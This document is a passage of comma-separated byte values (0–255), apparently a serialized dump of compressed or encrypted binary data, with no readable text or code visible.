157,29,166,149,206,14,211,186,152,29,166,37,27,54,204,144,89,54,110,52,109,86,131,243,206,101,47,227,79,166,111,47,70,21,123,131,174,76,197,122,212,94,166,166,191,80,128,47,187,133,247,6,29,78,151,88,45,224,70,249,211,78,108,219,6,124,16,118,130,145,58,14,52,86,46,209,118,28,151,105,239,108,147,70,242,169,108,141,2,137,195,233,171,104,197,58,193,33,224,219,83,16,147,22,161,145,196,153,254,31,249,84,119,134,239,136,219,60,173,42,74,14,145,118,227,140,170,104,57,69,225,123,247,224,233,59,169,128,29,23,197,184,145,15,86,11,171,217,92,7,127,13,49,168,209,83,22,163,38,8,196,167,146,125,61,215,65,9,223,1,143,68,113,10,26,154,59,175,44,225,0,185,231,16,176,236,220,19,229,202,46,192,13,84,81,60,151,0,120,63,225,204,250,164,117,226,37,51,216,137,39,75,72,96,177,118,8,30,219,116,239,30,9,190,207,37,56,232,240,63,177,88,134,157,126,7,255,202,206,61,202,142,157,77,17,100,90,124,190,14,15,170,239,102,84,223,109,231,168,111,43,103,173,229,164,92,17,213,54,17,54,245,206,45,174,255,2,34,171,213,63,149,74,235,219,240,213,247,226,245,134,203,141,239,236,215,55,94,201,178,83,75,70,96,110,129,108,149,214,139,25,235,196,203,193,192,175,51,100,24,223,129,20,152,180,70,227,59,126,200,207,211,21,66,254,92,217,22,245,169,79,252,97,240,165,206,88,109,50,88,188,1,18,90,159,105,124,241,20,84,108,141,26,223,105,1,20,73,250,176,254,248,185,245,131,245,91,47,142,92,39,26,103,173,203,28,89,175,226,84,207,227,123,52,123,179,78,148,10,110,102,57,223,6,215,39,149,175,31,179,78,183,238,210,133,90,80,203,118,250,80,237,165,5,117,133,72,46,166,159,93,12,106,229,50,67,48,201,230,136,218,216,92,167,246,246,142,196,38,143,152,71,181,69,236,116,125,59,26,188,117,13,201,17,112,28,90,37,199,113,234,180,66,82,20,204,163,215,176,149,22,51,169,48,105,25,248,30,79,37,152,87,19,34,191,189,157,59,241,137,237,124,113,57,135,93,77,52,179,125,176,82,111,159,1,52,251,27,114,218,114,128,52,122,187,245,46,125,229,132,230,192,103,122,239,25,113,172,223,219,45,146,153,121,230,15,233,186,153,16,34,122,207,72,43,142,52,89,213,213,189,34,252,10,46,157,82,161,130,38,87,161,38,23,155,175,140,0,121,149,55,251,113,86,170,219,37,41,21,253,240,172,16,251,80,34,102,210,24,160,73,128,158,136,107,0,171,248,99,64,106,94,209,237,90,132,138,246,234,255,224,128,8,252,167,75,176,211,231,254,7,181,46,99,73,236,245,89,254,238,247,35,102,16,29,41,203,112,42,226,39,32,64,112,144,249,77,43,117,51,2,199,244,36,24,160,151,121,191,184,85,223,136,30,80,188,220,27,185,181,102,174,171,96,201,132,1,8,5,32,230,140,234,155,236,116,12,32,133,193,20,106,115,155,226,200,164,120,68,168,50,235,214,222,12,2,88,219,188,141,1,125,7,189,147,239,116,246,134,10,188,126,84,177,252,224,138,207,64,254,150,147,48,46,195,87,45,38,124,170,15,149,219,1,41,34,108,254,3,235,27,76,21,188,119,101,8,222,187,204,66,72,167,203,182,222,23,42,20,229,45,31,124,29,42,148,6,186,222,125,33,84,104,168,153,127,131,41,84,104,10,127,118,32,200,133,253,18,15,67,92,5,243,20,31,219,157,126,220,46,123,54,83,15,160,36,44,3,201,188,5,12,140,67,36,237,1,191,68,106,76,160,255,170,16,104,145,234,255,23,174,106,32,144,156,214,169,111,147,171,90,73,213,102,2,209,99,145,148,221,24,216,151,100,41,50,144,170,86,125,160,62,248,226,79,159,188,67,223,73,124,213,136,62,76,90,0,11,71,209,38,213,127,17,67,17,150,61,29,196,179,89,111,235,32,197,146,165,49,59,20,104,79,178,20,67,117,6,64,209,132,40,228,186,136,62,76,124,15,178,161,55,224,8,236,229,104,234,63,67,28,105,32,84,75,72,182,189,73,234,54,103,7,73,155,165,17,176,234,225,246,9,9,16,132,24,13,17,194,2,167,64,75,18,105,150,171,162,128,160,190,17,31,0,50,142,132,225,3,76,65,139,53,146,221,36,219,182,90,240,69,97,134,104,171,62,16,104,75,210,119,16,159,251,123,9,8,90,160,204,193,236,16,217,7,69,44,157,122,219,65,226,123,20,160,245,135,65,116,245,1,86,85,123,18,220,93,176,116,19,146,223,153,221,72,90,44,77,172,202,78,222,110,168,120,95,18,152,20,142,64,223,76,124,143,171,184,191,153,6,108,84,170,7,87,137,28,212,88,10,218,56,12,186,116,72,107,61,205,14,90,66,208,92,40,100,93,173,111,35,225,56,203,101,219,206,184,24,144,251,156,67,164,81,6,21,133,72,40,8,250,153,221,4,88,160,201,205,156,73,196,218,160,111,39,17,217,22,142,23,108,151,160,108,253,151,140,254,8,208,31,148,235,246,232,109,123,72,221,206,236,144,37,136,77,109,230,210,39,214,117,250,125,164,3,168,139,151,221,39,213,255,43,38,251,14,214,246,138,221,122,219,110,82,17,206,110,132,246,239,131,178,114,69,152,88,159,210,183,144,78,217,214,143,50,98,236,184,128,246,97,123,229,42,63,169,138,100,7,245,54,191,37,4,44,131,70,67,233,13,248,242,96,31,10,250,179,68,54,5,108,125,73,105,205,188,205,192,9,208,28,208,152,108,107,63,138,173,67,15,25,214,231,244,251,73,179,254,35,82,215,127,126,225,118,40,43,215,245,163,233,6,246,50,97,103,135,245,208,57,79,16,235,11,250,227,196,22,230,173,214,4,118,28,196,125,46,14,16,183,181,79,182,53,91,66,32,239,54,172,54,162,183,65,222,75,250,211,0,189,47,9,10,232,207,66,144,62,180,20,48,4,181,76,182,117,67,7,105,98,138,137,90,214,77,172,155,80,197,250,53,21,3,153,29,134,65,58,171,246,60,213,110,68,29,237,2,29,109,177,116,48,29,233,34,214,102,253,126,139,117,143,197,250,166,197,218,74,108,125,251,253,28,145,108,237,211,239,135,214,50,233,212,29,133,94,181,207,18,102,101,250,136,181,91,127,220,98,221,109,177,66,23,233,128,22,15,150,217,174,63,142,29,12,20,64,174,10,99,235,44,17,86,102,59,177,118,233,79,91,172,126,139,245,32,84,5,228,14,150,217,166,63,141,58,222,78,184,218,110,179,4,161,247,85,244,91,58,161,45,196,186,83,127,216,98,237,36,182,163,80,27,47,97,1,202,14,239,247,203,158,163,16,126,147,193,30,211,1,122,215,129,20,91,35,216,36,106,57,133,149,157,176,88,183,163,80,88,209,253,126,253,126,136,220,65,106,45,73,88,6,36,25,70,14,64,107,162,150,179,80,143,229,140,197,186,141,49,243,213,222,195,15,1,248,113,25,42,7,251,198,180,227,19,61,138,7,155,127,26,89,246,49,86,130,12,56,26,7,63,13,61,19,68,211,198,177,67,163,129,77,216,128,40,99,110,56,14,119,24,6,15,164,133,32,225,160,176,182,131,150,70,125,32,94,45,22,244,203,182,163,104,4,173,123,234,27,49,15,105,179,130,112,100,235,86,148,8,183,74,150,32,16,212,194,152,180,15,42,170,111,226,144,20,155,92,113,20,129,223,100,162,128,62,173,25,196,250,16,175,128,53,35,162,111,139,73,100,27,140,167,16,62,12,74,221,8,85,107,44,5,93,214,224,81,20,205,250,118,139,117,167,38,245,58,134,223,207,122,31,224,231,240,126,78,44,192,183,51,54,181,128,9,213,52,171,138,225,223,77,66,136,61,136,237,110,130,30,175,111,6,211,96,237,138,81,222,108,177,134,161,165,8,217,76,66,208,6,78,47,84,192,208,99,99,45,64,32,51,16,128,31,168,199,38,64,123,251,52,250,187,135,210,223,61,132,254,46,164,127,55,107,239,118,141,254,46,222,37,162,26,71,187,134,208,223,140,244,67,99,183,33,126,78,127,31,55,243,71,53,248,62,141,255,221,200,127,104,102,199,32,231,183,147,56,223,81,194,219,121,19,53,206,119,33,217,97,222,56,96,14,84,177,223,15,45,128,190,48,148,254,109,67,232,247,35,253,157,172,150,62,141,254,14,78,127,68,163,167,67,163,63,128,244,3,119,131,22,27,181,216,90,45,208,255,170,34,48,102,216,31,144,109,173,96,26,2,201,4,184,223,106,1,229,136,211,213,194,90,188,143,177,167,19,53,162,130,181,184,147,123,214,163,216,14,176,175,157,241,46,208,198,120,131,29,0,163,32,4,38,30,77,94,0,139,253,160,17,124,144,5,28,3,243,35,150,67,154,0,222,228,109,98,245,180,2,98,82,23,177,124,4,37,160,87,52,67,175,224,70,199,22,214,127,104,177,109,5,237,178,117,90,192,226,84,129,1,66,226,183,146,246,180,22,185,34,146,221,22,104,76,78,67,162,209,57,219,162,202,147,93,187,199,62,141,125,200,111,1,183,223,193,218,189,29,75,188,73,90,210,108,145,236,118,217,186,19,138,144,96,182,53,146,214,12,61,65,223,198,203,128,175,195,98,187,177,76,216,2,61,209,182,13,139,177,243,140,172,59,9,114,62,13,43,203,110,201,110,170,15,97,137,52,0,111,182,96,69,91,45,182,14,189,53,188,63,160,15,129,219,131,176,207,230,7,63,103,141,96,11,218,145,64,91,148,132,178,173,209,236,54,172,210,175,17,217,2,186,196,124,20,1,227,13,181,238,6,138,65,72,88,235,238,11,19,187,251,28,98,187,176,88,51,163,183,19,139,33,145,72,111,91,26,120,175,166,108,235,206,236,22,224,77,35,246,24,240,218,117,59,129,158,65,6,117,91,144,74,198,160,62,44,220,141,239,123,245,159,67,109,125,19,3,183,117,159,79,115,151,70,243,65,141,193,93,248,2,151,21,28,78,90,11,178,169,61,59,168,49,8,184,179,13,234,208,91,187,128,65,77,196,211,143,12,218,131,12,138,162,58,51,9,130,23,5,122,35,72,47,196,14,90,101,64,114,68,83,97,198,32,224,78,135,86,217,118,144,191,13,40,4,6,145,16,86,103,141,98,201,237,250,22,141,65,72,38,208,200,120,3,122,191,13,72,134,114,86,136,92,182,145,14,228,238,78,228,234,206,236,118,141,65,219,32,48,242,236,4,122,134,104,80,39,86,11,255,247,96,157,29,200,87,32,145,115,137,209,91,31,100,138,0,53,119,232,219,227,37,235,34,154,30,105,125,142,245,54,166,71,232,142,33,112,64,157,200,110,203,14,105,12,58,200,148,123,155,222,218,170,7,229,38,85,140,65,80,53,208,140,60,109,65,129,4,81,32,49,98,59,145,216,232,16,98,187,25,159,41,88,38,32,152,116,0,26,164,15,15,214,226,68,179,110,162,183,245,51,166,242,98,24,154,113,30,177,142,114,80,211,189,131,200,218,62,100,45,213,88,219,199,2,21,240,78,250,150,64,115,146,242,43,44,140,97,1,68,27,97,236,156,31,50,250,247,240,126,217,156,6,1,167,149,198,105,221,74,172,84,223,134,229,254,204,203,81,12,142,88,239,60,100,177,245,39,244,78,132,207,134,62,14,77,165,90,151,126,147,128,219,108,87,222,101,37,65,164,167,153,95,0,143,9,118,41,173,45,27,106,250,100,191,63,173,5,13,70,24,3,146,143,8,186,14,63,119,77,204,47,1,78,84,178,38,136,18,178,67,156,116,160,187,45,173,157,124,152,109,139,178,58,193,136,213,7,240,1,115,10,232,164,160,143,130,201,226,65,194,110,8,18,120,244,195,44,31,142,63,128,38,107,84,249,211,161,192,221,251,88,132,9,148,129,77,131,24,231,28,191,197,221,27,243,82,96,81,173,71,149,93,88,4,6,32,204,99,17,176,129,253,224,215,185,187,106,210,128,245,214,110,229,69,6,6,110,153,71,62,93,216,92,205,93,113,95,165,17,211,8,132,37,35,108,125,35,47,209,5,116,161,67,108,142,185,43,134,60,194,7,21,220,219,2,218,250,38,6,221,200,135,4,21,71,25,57,154,211,66,248,157,60,86,216,195,99,5,235,206,250,16,131,231,225,56,241,236,97,209,76,56,230,174,80,175,19,125,21,80,16,66,178,235,142,178,240,37,230,168,34,0,105,219,131,142,42,78,186,165,137,211,157,204,137,239,208,7,73,213,30,44,180,155,49,6,208,239,68,244,173,156,156,24,250,214,68,242,3,72,254,96,23,2,199,201,180,176,147,52,243,106,130,156,118,77,6,157,56,24,128,182,110,197,56,175,31,229,197,116,132,249,90,132,182,238,209,67,16,10,38,124,143,102,117,186,152,205,209,58,6,158,14,188,157,52,19,238,201,235,3,12,113,19,250,52,235,118,217,115,16,168,247,132,245,1,139,103,171,197,211,9,116,88,60,17,0,182,246,243,54,194,8,161,10,35,44,141,158,170,55,45,85,219,44,85,59,209,221,53,233,155,246,7,245,141,164,162,159,141,241,48,182,128,65,79,63,4,180,21,32,2,40,163,15,34,245,224,90,247,144,138,221,150,138,176,165,98,187,165,2,141,9,11,215,251,112,24,195,88,136,236,57,189,191,17,140,71,197,81,61,116,146,118,82,209,108,169,240,35,185,135,44,21,29,192,172,240,254,70,98,221,131,13,239,227,129,2,138,65,15,52,178,198,200,117,104,51,235,186,45,117,187,45,103,161,185,150,186,86,156,82,236,195,168,181,105,127,136,215,17,76,214,135,244,192,40,166,154,224,3,130,204,1,29,5,246,95,95,209,77,42,186,45,21,219,44,21,48,192,75,6,91,15,163,174,48,35,51,106,129,154,53,185,121,250,176,255,195,128,10,250,20,128,233,59,208,70,129,70,181,160,169,14,129,10,106,156,133,88,22,204,94,221,102,253,126,8,40,64,61,194,168,248,96,121,49,242,99,81,35,135,211,167,66,180,198,70,229,208,222,186,126,221,35,146,174,210,160,43,19,117,63,53,45,89,44,235,98,231,254,44,226,19,188,31,43,182,205,244,211,99,236,45,113,143,84,99,118,233,20,243,229,152,151,3,121,197,149,249,30,105,69,159,82,177,25,79,227,248,74,85,155,102,153,7,143,14,194,29,178,110,254,74,153,229,36,46,248,202,238,156,92,181,214,12,151,60,154,220,200,246,156,206,167,33,81,16,166,185,115,230,24,27,194,56,119,243,201,180,69,57,143,27,215,252,88,199,14,80,153,182,220,96,108,192,175,192,224,158,115,40,103,178,151,99,33,72,101,210,49,34,59,107,201,238,96,251,239,213,237,57,56,69,11,151,117,56,51,163,93,203,72,63,84,168,166,175,195,23,228,73,27,125,58,160,170,106,109,6,224,40,161,235,90,217,12,191,157,250,63,214,54,217,119,181,168,106,239,124,104,225,204,156,76,172,194,238,112,56,52,68,184,11,254,92,100,51,18,144,229,199,144,173,140,33,123,186,69,219,239,254,224,95,181,221,181,75,33,81,228,18,22,231,99,11,159,188,92,101,149,37,253,135,149,253,195,63,88,89,91,139,86,89,74,172,178,241,177,202,212,119,81,82,222,199,115,230,8,238,97,144,115,39,237,34,192,73,163,3,202,170,181,34,155,238,135,236,57,212,155,196,18,89,244,131,119,113,209,213,226,215,182,252,50,217,219,99,167,91,42,69,38,60,125,242,40,237,126,10,183,130,73,120,30,101,196,183,215,125,179,69,205,15,192,8,16,143,125,60,141,167,55,89,72,133,65,127,10,32,148,186,206,215,95,127,29,143,91,43,214,65,199,156,86,209,229,190,138,212,133,189,33,3,134,18,117,225,252,192,138,125,150,147,196,122,84,205,227,107,162,218,209,139,6,33,255,56,98,219,2,216,30,248,196,0,104,32,236,33,55,234,79,32,54,91,55,221,136,7,129,65,142,53,146,95,204,78,155,124,18,171,189,17,224,24,136,5,87,166,59,249,113,181,16,14,144,48,158,235,234,9,231,23,49,88,7,194,22,73,48,70,207,111,174,189,236,129,253,6,98,209,127,83,232,109,52,40,171,250,17,127,145,148,223,92,211,11,214,200,162,150,224,215,98,100,40,214,176,0,119,167,232,21,43,149,235,168,221,9,255,202,200,30,185,174,79,245,24,20,219,118,121,42,45,225,123,217,237,116,53,91,190,222,78,95,222,203,247,212,62,182,75,85,123,112,167,75,236,101,171,126,54,83,152,9,131,26,250,63,47,226,34,162,129,116,84,186,82,43,129,155,21,17,114,70,89,41,157,216,66,102,139,242,237,6,229,118,147,131,78,255,27,91,177,35,86,137,29,161,132,171,94,214,168,172,195,3,51,11,65,157,0,67,165,3,223,208,140,80,233,125,220,81,105,51,80,245,61,62,71,60,1,117,77,59,40,1,8,117,210,207,95,96,175,248,120,247,24,104,249,151,124,217,118,246,151,108,26,21,184,35,175,50,3,82,8,252,64,80,184,168,127,118,61,78,96,247,227,17,193,142,234,191,174,44,16,98,71,4,123,251,12,24,219,68,21,15,37,45,192,48,58,240,59,104,222,74,147,38,65,190,214,29,63,23,119,161,171,160,82,94,108,192,99,47,87,73,116,253,151,120,40,142,59,89,206,80,30,21,203,148,82,147,124,11,253,235,122,237,200,77,182,152,135,167,13,75,74,169,153,94,47,227,62,20,51,61,190,70,208,94,231,24,75,30,141,150,43,153,17,254,46,7,110,47,184,124,167,246,46,199,66,156,148,231,219,186,36,32,1,15,42,113,75,222,128,185,167,119,29,63,70,12,55,164,220,42,184,151,66,155,243,231,230,213,46,36,179,38,26,255,24,80,230,154,203,201,146,220,9,157,249,75,38,174,156,234,176,151,3,155,104,135,15,42,116,78,156,240,161,108,149,230,209,225,200,51,231,68,18,174,4,206,77,248,112,158,131,138,59,128,207,52,229,5,182,26,93,185,184,215,96,87,107,39,98,193,95,66,193,133,120,218,252,18,109,19,102,236,136,222,228,197,174,137,149,114,173,73,174,149,228,37,6,234,251,130,49,97,52,59,244,149,4,128,23,5,146,188,32,138,75,55,39,122,147,72,139,60,87,196,173,240,135,1,221,78,220,151,162,204,205,144,103,77,100,103,48,76,2,145,150,225,113,127,171,17,226,177,117,204,232,93,74,102,229,90,14,236,66,208,83,199,229,89,121,190,3,110,177,0,174,150,35,69,242,21,236,252,195,207,249,126,249,193,143,8,220,83,238,192,29,52,81,39,30,251,241,228,42,65,112,21,84,227,135,122,170,85,102,47,181,165,51,118,204,152,67,77,223,6,119,46,115,245,244,219,216,137,152,120,98,11,78,152,255,242,121,232,18,51,21,235,166,114,59,253,211,243,108,61,183,174,111,139,119,79,198,150,45,91,216,102,37,235,38,123,121,57,18,43,149,195,63,40,233,47,96,171,72,166,106,124,117,131,175,212,131,75,2,73,66,95,56,84,55,228,196,187,213,55,63,247,124,33,59,255,236,99,217,214,231,25,73,205,6,182,105,108,99,50,230,179,229,172,106,85,189,2,176,108,101,164,250,78,122,36,111,179,218,19,196,61,45,216,152,60,104,12,126,107,203,133,36,239,68,24,208,27,109,71,30,244,65,212,108,4,3,8,39,0,108,199,22,198,74,233,88,209,155,44,90,65,153,29,217,118,63,223,126,18,181,87,79,6,54,208,87,161,193,149,60,173,122,194,0,185,153,183,237,22,254,248,73,124,60,205,26,245,76,98,167,118,90,35,168,90,125,206,65,184,209,211,170,34,158,139,160,111,217,237,78,59,158,224,182,27,242,123,83,93,223,245,38,185,6,22,12,50,34,35,206,8,167,92,17,229,172,24,150,150,192,10,246,122,146,39,153,94,57,160,170,118,203,145,242,11,114,165,147,237,250,46,47,127,23,219,11,254,227,127,113,159,26,219,79,116,198,119,196,131,39,42,79,143,209,89,230,196,227,92,198,2,183,43,43,93,156,15,239,34,71,32,243,15,88,170,25,74,193,176,158,52,66,132,227,219,235,193,202,69,215,64,239,163,248,130,6,170,168,214,254,141,200,30,213,211,255,46,222,226,65,106,97,250,26,223,60,4,141,191,141,3,85,109,100,76,146,60,211,72,69,31,148,101,239,120,180,65,169,168,179,156,122,226,208,99,241,56,116,128,26,85,86,230,36,77,47,150,207,179,211,253,108,87,88,70,175,222,245,93,34,175,216,41,137,199,167,221,188,173,123,190,224,185,106,218,205,219,241,122,57,253,4,90,255,26,230,201,233,152,147,31,242,12,207,255,200,147,98,241,91,14,244,46,34,77,70,167,255,69,199,50,227,40,176,237,16,37,85,244,211,191,63,167,170,198,29,126,200,175,92,6,150,174,0,126,254,13,172,121,113,30,24,126,240,0,8,138,55,252,224,116,151,168,78,65,172,234,20,172,129,246,227,7,141,172,17,239,158,137,164,34,170,173,120,189,234,231,139,230,195,201,136,23,48,181,215,51,205,89,109,71,205,73,223,195,20,179,250,241,219,216,177,162,184,202,90,253,28,166,95,195,34,60,131,52,179,242,50,43,187,4,187,15,184,92,172,89,237,0,131,140,153,85,124,17,10,183,132,130,154,208,95,224,22,136,189,178,181,83,174,232,206,15,120,164,252,253,198,134,26,116,240,74,53,91,242,8,131,235,129,102,186,44,84,192,206,32,230,36,183,56,29,164,46,90,2,46,111,87,1,134,93,1,111,183,62,208,147,116,226,117,118,132,102,68,231,78,93,246,186,55,146,228,214,109,94,188,132,21,10,205,204,17,179,121,225,17,45,196,186,89,81,238,196,253,48,232,166,187,95,212,195,96,41,58,234,144,229,72,126,208,35,230,127,232,118,114,182,94,184,62,92,38,253,111,235,243,116,91,142,96,93,62,124,235,0,55,146,190,128,167,107,238,85,42,182,66,213,21,209,81,109,172,226,22,94,177,237,123,42,206,253,63,52,52,86,49,12,139,187,147,236,244,235,103,144,157,71,43,145,132,116,108,71,133,95,177,226,120,10,66,109,139,63,240,175,36,125,123,147,181,91,55,170,201,94,70,108,71,233,221,120,128,155,213,175,247,219,233,219,207,240,61,133,86,10,221,103,4,40,26,211,169,158,215,217,214,172,14,140,50,96,252,97,245,55,89,59,33,192,22,44,126,125,59,71,66,233,101,12,201,30,86,255,195,49,44,125,128,101,120,12,75,239,29,48,240,193,93,74,56,103,18,142,211,209,175,209,209,71,63,198,141,224,117,126,232,223,53,87,192,240,132,24,94,136,85,64,45,122,236,246,13,126,207,164,162,252,42,255,138,207,98,56,241,220,201,55,95,193,168,226,32,221,244,10,127,53,238,133,87,208,1,70,64,205,123,1,13,53,238,48,44,128,64,142,136,235,44,123,65,12,214,200,168,54,80,131,222,191,99,47,227,39,224,190,186,19,116,149,164,239,102,157,193,99,246,29,240,152,216,43,205,175,237,100,93,19,243,43,185,38,183,38,3,133,55,191,160,217,61,99,195,45,184,77,187,146,169,240,206,239,128,231,182,40,90,29,112,115,115,127,72,181,232,255,65,194,74,6,238,78,244,77,61,131,146,141,18,95,38,106,216,94,15,70,31,115,217,100,230,247,212,181,90,255,223,215,245,182,29,119,239,250,54,97,207,121,121,62,175,17,12,182,232,59,226,94,136,241,88,213,247,212,53,255,255,208,46,134,159,215,72,148,109,216,198,141,184,199,128,248,182,227,91,55,77,38,217,115,212,251,161,32,179,141,7,114,21,149,125,81,76,84,244,105,109,175,144,109,48,38,239,58,151,158,62,160,167,115,87,247,255,129,158,42,74,60,71,141,59,124,243,112,11,30,253,221,207,89,227,241,16,91,135,250,54,190,114,106,220,177,17,31,65,132,162,190,141,161,55,122,156,102,84,98,154,201,58,90,180,178,146,126,197,54,152,161,111,190,134,166,189,140,13,227,77,66,210,243,219,140,190,2,40,151,31,52,250,166,170,24,155,104,90,72,254,150,139,43,207,111,79,196,119,37,254,241,18,198,69,228,80,239,81,109,59,9,232,187,147,41,124,98,75,111,155,255,180,53,114,33,179,23,97,38,62,30,178,224,17,33,86,67,200,218,143,167,10,133,172,145,123,192,144,131,250,198,156,228,13,254,222,197,184,215,2,124,56,104,237,185,172,140,148,224,81,252,48,148,143,49,242,13,207,24,104,217,69,200,202,97,203,222,240,24,144,153,250,223,121,112,187,134,238,66,44,93,111,85,7,105,49,193,80,2,122,9,171,221,189,132,19,166,137,178,12,186,141,237,7,84,25,199,26,255,157,48,7,171,45,25,236,180,158,97,200,242,158,153,40,45,155,73,169,48,251,246,174,74,39,86,179,82,145,121,27,78,209,88,51,100,155,9,248,208,43,105,54,166,15,1,110,243,54,74,144,79,102,68,192,174,146,25,48,20,161,113,128,163,231,2,116,49,128,238,56,64,215,185,0,7,25,64,103,28,224,32,198,56,164,17,195,63,244,249,56,55,25,144,43,252,47,226,179,61,184,17,177,162,99,217,83,247,246,239,156,0,45,91,246,243,110,249,222,136,247,232,16,65,149,128,249,44,33,21,71,85,79,215,109,11,84,207,193,219,42,75,136,181,245,77,157,71,239,237,147,156,37,164,110,119,9,134,118,37,202,227,161,8,166,12,234,77,37,222,175,37,124,37,161,247,235,18,111,95,150,90,33,1,142,214,18,229,158,214,172,37,37,178,117,207,249,220,92,246,84,231,178,159,119,144,123,35,203,32,52,6,42,112,194,169,162,57,190,231,9,135,20,31,191,143,193,195,132,179,198,29,147,175,32,77,174,49,74,201,251,94,127,150,113,71,7,12,162,150,129,230,239,176,184,198,24,103,117,40,11,147,140,59,26,209,140,53,157,11,49,171,3,55,73,237,216,183,12,199,98,203,242,3,238,237,75,32,224,89,60,33,144,112,226,52,153,210,138,246,26,194,239,40,25,209,12,73,212,228,235,192,64,77,160,215,131,25,153,103,223,213,197,34,189,147,184,75,137,52,147,111,100,6,37,179,98,76,217,78,186,23,146,58,51,4,151,34,73,101,31,225,178,134,21,107,24,34,39,220,139,109,66,49,144,32,143,163,128,26,8,104,240,73,178,163,140,110,195,119,106,246,76,134,78,115,49,56,137,145,128,32,25,191,174,151,138,159,25,73,131,232,239,247,172,74,24,102,177,29,119,168,113,106,250,155,5,124,23,27,126,160,134,109,105,195,15,152,242,13,131,216,148,205,177,166,88,246,58,201,205,155,48,10,60,237,185,62,255,184,231,90,122,207,105,214,152,173,216,152,183,191,101,141,137,64,248,196,128,160,81,172,40,0,139,249,199,221,243,33,216,46,115,21,148,225,250,174,213,192,70,11,248,93,52,43,5,202,113,107,52,216,108,76,66,107,176,41,41,16,178,131,187,253,23,190,186,178,103,58,180,198,128,91,254,160,37,164,162,191,119,4,180,227,179,111,121,59,52,211,164,189,40,60,226,32,219,2,9,68,119,64,2,45,146,82,199,99,78,24,87,109,177,168,249,167,60,215,229,183,131,20,182,68,24,225,194,237,64,120,180,159,17,30,38,251,100,86,76,102,88,0,84,204,111,119,223,198,41,140,133,176,170,199,12,236,119,198,255,105,113,236,240,50,7,189,145,209,186,8,34,100,3,68,200,146,230,222,145,214,41,9,180,38,234,200,86,228,210,97,224,233,155,40,117,85,83,16,19,39,109,15,242,244,46,60,162,36,2,156,100,32,50,43,81,89,9,160,168,32,243,240,93,102,198,77,96,36,152,7,166,28,174,2,237,248,121,70,116,24,76,41,14,91,144,177,65,174,34,78,170,156,141,169,72,42,48,85,207,245,226,153,254,4,189,224,115,142,245,125,7,181,173,89,218,94,87,50,98,19,232,139,242,120,142,153,116,214,7,76,236,133,175,45,213,130,36,8,140,185,206,50,250,197,90,85,125,21,129,32,180,242,250,77,108,214,197,105,167,237,67,179,129,143,174,76,39,63,180,154,101,147,41,120,114,42,22,152,195,14,136,61,196,39,34,211,59,65,35,141,59,102,230,100,217,241,119,60,251,205,177,15,230,92,197,126,39,217,1,124,65,117,195,237,9,103,203,102,225,65,13,118,94,39,84,168,30,210,104,47,52,121,3,6,59,237,253,189,70,144,147,239,69,78,114,186,116,56,216,102,175,248,167,119,20,196,218,106,151,11,69,254,5,15,101,126,14,30,69,96,218,149,133,7,252,126,240,28,251,76,73,51,245,172,102,179,8,233,101,239,22,204,97,103,177,158,125,2,162,192,215,94,130,178,189,201,175,226,197,89,94,237,151,11,4,215,8,181,131,76,121,137,17,103,234,29,173,96,67,96,8,131,152,121,114,19,36,65,161,240,28,10,32,215,231,127,162,107,232,92,34,168,29,169,192,207,148,106,103,72,27,98,167,165,146,70,114,24,15,176,148,171,216,214,209,107,113,192,233,30,230,165,162,209,103,194,128,247,38,239,192,143,140,79,190,137,54,114,160,192,184,118,51,123,145,12,6,185,80,31,154,176,90,111,83,135,119,96,152,113,237,255,226,188,66,206,219,227,126,94,32,236,234,7,94,246,124,0,25,187,34,152,10,98,42,138,169,93,152,18,102,67,234,143,152,18,49,245,58,166,36,76,225,251,148,187,12,152,122,6,83,38,76,173,197,212,2,44,91,135,41,51,230,173,212,179,243,41,250,170,51,102,15,57,15,216,214,215,179,64,207,232,172,153,227,29,88,184,114,22,253,13,190,20,105,90,223,25,167,119,253,135,198,141,1,234,129,236,6,191,82,154,5,72,140,214,182,178,243,17,209,135,217,23,124,163,61,6,134,112,153,113,109,58,123,201,48,25,95,50,28,200,170,93,229,94,225,29,184,168,182,208,216,128,47,242,121,143,73,238,137,120,126,236,101,222,99,162,123,164,247,152,222,216,240,33,232,110,207,189,240,179,43,7,105,126,31,83,37,152,122,27,83,83,49,181,5,95,180,61,118,177,177,193,13,56,74,177,252,40,239,177,84,163,239,58,132,88,141,16,50,166,150,99,234,9,76,101,97,202,131,165,6,238,174,157,227,46,240,30,187,214,125,61,150,27,239,61,118,3,22,214,25,125,223,0,174,93,219,16,16,143,145,222,181,21,83,51,48,181,9,83,248,238,242,174,167,48,53,9,83,219,49,149,195,200,88,138,72,116,26,146,63,32,18,63,62,76,69,176,221,152,250,14,243,118,98,234,4,166,246,96,10,119,160,239,220,13,42,145,31,54,174,109,21,144,67,248,138,107,253,192,107,240,91,91,94,63,240,91,184,174,44,244,14,220,231,190,193,59,80,237,206,246,14,220,239,54,43,107,238,196,125,153,17,157,113,45,6,41,61,111,34,190,14,196,247,34,166,90,49,245,52,166,154,49,229,195,212,124,76,61,166,67,212,56,82,171,177,214,15,188,11,87,247,213,245,3,127,197,106,125,103,19,244,114,87,6,116,166,119,51,231,48,137,27,103,238,235,193,175,96,198,31,74,248,208,0,63,189,159,237,186,135,181,63,241,105,4,114,222,141,194,79,111,112,231,17,173,97,248,133,52,183,187,254,216,223,240,90,129,92,154,166,9,27,88,245,100,98,197,93,88,186,27,75,251,226,121,7,49,175,19,43,122,8,39,178,99,217,2,146,33,194,79,143,51,49,219,132,217,102,204,46,72,204,238,132,30,240,238,81,68,114,53,100,215,31,235,66,82,156,72,69,62,254,92,225,50,42,214,86,59,153,37,5,186,37,253,44,49,208,109,42,0,125,110,101,223,227,105,237,181,198,241,132,145,152,126,196,243,217,64,2,250,46,68,223,135,217,251,18,179,233,108,198,66,79,242,46,252,24,12,93,136,19,124,170,39,82,142,22,253,205,25,133,177,151,26,151,109,184,110,125,129,48,13,254,138,224,207,6,127,78,248,187,11,254,30,128,63,15,252,61,1,127,50,252,53,236,245,164,54,28,112,167,110,211,5,225,114,250,6,127,208,101,86,211,95,0,84,57,58,62,254,52,39,49,159,193,76,191,229,136,108,235,87,124,125,120,230,178,157,238,173,231,67,238,170,168,118,234,12,251,16,131,210,151,112,234,140,207,191,170,144,195,179,79,176,92,243,134,170,86,35,231,20,246,73,145,77,175,163,55,196,51,201,239,218,12,15,176,205,144,94,255,58,127,45,231,111,237,56,252,138,244,142,168,238,230,37,104,242,102,205,202,147,155,241,228,227,100,244,88,118,245,35,159,159,101,186,167,177,12,182,195,60,240,59,237,172,155,177,175,241,21,131,48,125,168,93,43,12,56,193,217,26,66,171,77,195,249,225,6,189,151,170,158,168,134,140,29,128,204,193,94,192,231,229,220,159,136,229,46,157,75,60,199,153,76,123,17,33,200,